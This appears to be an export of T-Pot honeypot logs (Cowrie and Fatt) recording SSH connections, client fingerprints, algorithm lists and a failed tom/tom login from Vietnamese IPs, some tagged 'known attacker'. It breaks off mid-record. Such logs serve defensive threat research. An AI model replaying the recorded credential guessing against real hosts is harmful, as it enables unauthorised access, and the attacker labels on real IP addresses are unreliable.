26253	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:11:21.019686+03	2021-09-20 14:15:13.030646+03	{"_id": "kwbnAnwBvYTbRNuEPR6V", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 38512, "timestamp": "2021-09-20T11:11:21.019686", "@timestamp": "2021-09-20T11:11:21.019Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26254	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:11:21.207275+03	2021-09-20 14:15:13.032647+03	{"_id": "lAbnAnwBvYTbRNuEPR6V", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 35766, "dest_port": 22, "timestamp": "2021-09-20T11:11:21.207275", "@timestamp": "2021-09-20T11:11:21.207Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26255	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:11:20.697572+03	2021-09-20 14:15:13.033646+03	{"_id": "lQbnAnwBvYTbRNuEPh5E", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:35766 (192.168.176.2:22) [session: 73c88146d84f]", "session": "73c88146d84f", "@version": "1", "protocol": "ssh", "src_port": 35766, "dest_port": 22, "timestamp": "2021-09-20T11:11:20.697572Z", "@timestamp": "2021-09-20T11:11:20.697Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
26256	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:20.71473+03	2021-09-20 14:15:13.034646+03	{"_id": "lgbnAnwBvYTbRNuEPh5E", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:38512 (192.168.176.2:22) [session: eb6ca172d9f6]", "session": "eb6ca172d9f6", "@version": "1", "protocol": "ssh", "src_port": 38512, "dest_port": 22, "timestamp": "2021-09-20T11:11:20.714730Z", "@timestamp": "2021-09-20T11:11:20.714Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
26257	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:11:20.760582+03	2021-09-20 14:15:13.035646+03	{"_id": "lwbnAnwBvYTbRNuEPh5E", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:36032 (192.168.176.2:22) [session: a48fc538d843]", "session": "a48fc538d843", "@version": "1", "protocol": "ssh", "src_port": 36032, "dest_port": 22, "timestamp": "2021-09-20T11:11:20.760582Z", "@timestamp": "2021-09-20T11:11:20.760Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
26258	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:20.647104+03	2021-09-20 14:15:13.036646+03	{"_id": "mQbnAnwBvYTbRNuEPh5E", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "227585faa5ac", "@version": "1", "duration": 3.237894058227539, "timestamp": "2021-09-20T11:11:20.647104Z", "@timestamp": "2021-09-20T11:11:20.647Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
26259	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:11:20.700359+03	2021-09-20 14:15:13.038645+03	{"_id": "mgbnAnwBvYTbRNuEPh5E", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "73c88146d84f", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:11:20.700359Z", "@timestamp": "2021-09-20T11:11:20.700Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
26260	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:11:20.740073+03	2021-09-20 14:15:13.039644+03	{"_id": "mwbnAnwBvYTbRNuEPh5E", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.login.failed", "message": "login attempt [tom/tom] failed", "session": "cde95387c075", "@version": "1", "password": "tom", "username": "tom", "timestamp": "2021-09-20T11:11:20.740073Z", "@timestamp": "2021-09-20T11:11:20.740Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
26261	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:20.743878+03	2021-09-20 14:15:13.040645+03	{"_id": "nAbnAnwBvYTbRNuEPh5E", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "00d47e2166fb", "@version": "1", "duration": 3.143728733062744, "timestamp": "2021-09-20T11:11:20.743878Z", "@timestamp": "2021-09-20T11:11:20.743Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
26262	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:11:20.749109+03	2021-09-20 14:15:13.041646+03	{"_id": "nQbnAnwBvYTbRNuEPh5E", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "bfa468d5f9d5", "@version": "1", "timestamp": "2021-09-20T11:11:20.749109Z", "@timestamp": "2021-09-20T11:11:20.749Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
26264	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:20.863945+03	2021-09-20 14:15:13.043646+03	{"_id": "nwbnAnwBvYTbRNuEPh5E", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "eb6ca172d9f6", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:11:20.863945Z", "@timestamp": "2021-09-20T11:11:20.863Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
26265	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:21.050753+03	2021-09-20 14:15:13.047647+03	{"_id": "oAbnAnwBvYTbRNuEPh5E", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "eb6ca172d9f6", "@version": "1", "timestamp": "2021-09-20T11:11:21.050753Z", "@timestamp": "2021-09-20T11:11:21.050Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
26266	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:11:21.121473+03	2021-09-20 14:15:13.048645+03	{"_id": "oQbnAnwBvYTbRNuEPh5E", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", 